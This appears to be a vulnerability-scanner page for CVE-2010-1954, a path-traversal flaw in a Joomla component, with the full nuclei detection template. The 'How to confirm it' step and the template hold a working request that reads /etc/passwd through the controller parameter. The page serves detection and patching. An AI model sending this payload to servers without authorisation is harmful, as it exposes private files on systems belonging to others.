Joomla! Component iNetLanka Multiple root 1.0 - Local File Inclusion

highseverity

7.5CVSS score

16.2%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the iNetLanka Multiple root (com_multiroot) component 1.0 and 1.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Attackers can read arbitrary files on the server, potentially exposing sensitive information.

Fix

Update to the latest version of the component or apply security patches that fix the path traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_multiroot&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1954 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1954

info:
  name: Joomla! Component iNetLanka Multiple root 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the iNetLanka Multiple root (com_multiroot) component 1.0 and 1.1 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of the component or apply security patches that fix the path traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12287
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1954
    - http://www.exploit-db.com/exploits/12287
    - http://www.vupen.com/english/advisories/2010/0928
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1954
    cwe-id: CWE-22
    epss-score: 0.16152
    epss-percentile: 0.96957
    cpe: cpe:2.3:a:joomlacomponent.inetlanka:com_multiroot:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlacomponent.inetlanka
    product: com_multiroot
  tags: cve,cve2010,edb,joomla,lfi,joomlacomponent.inetlanka,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_multiroot&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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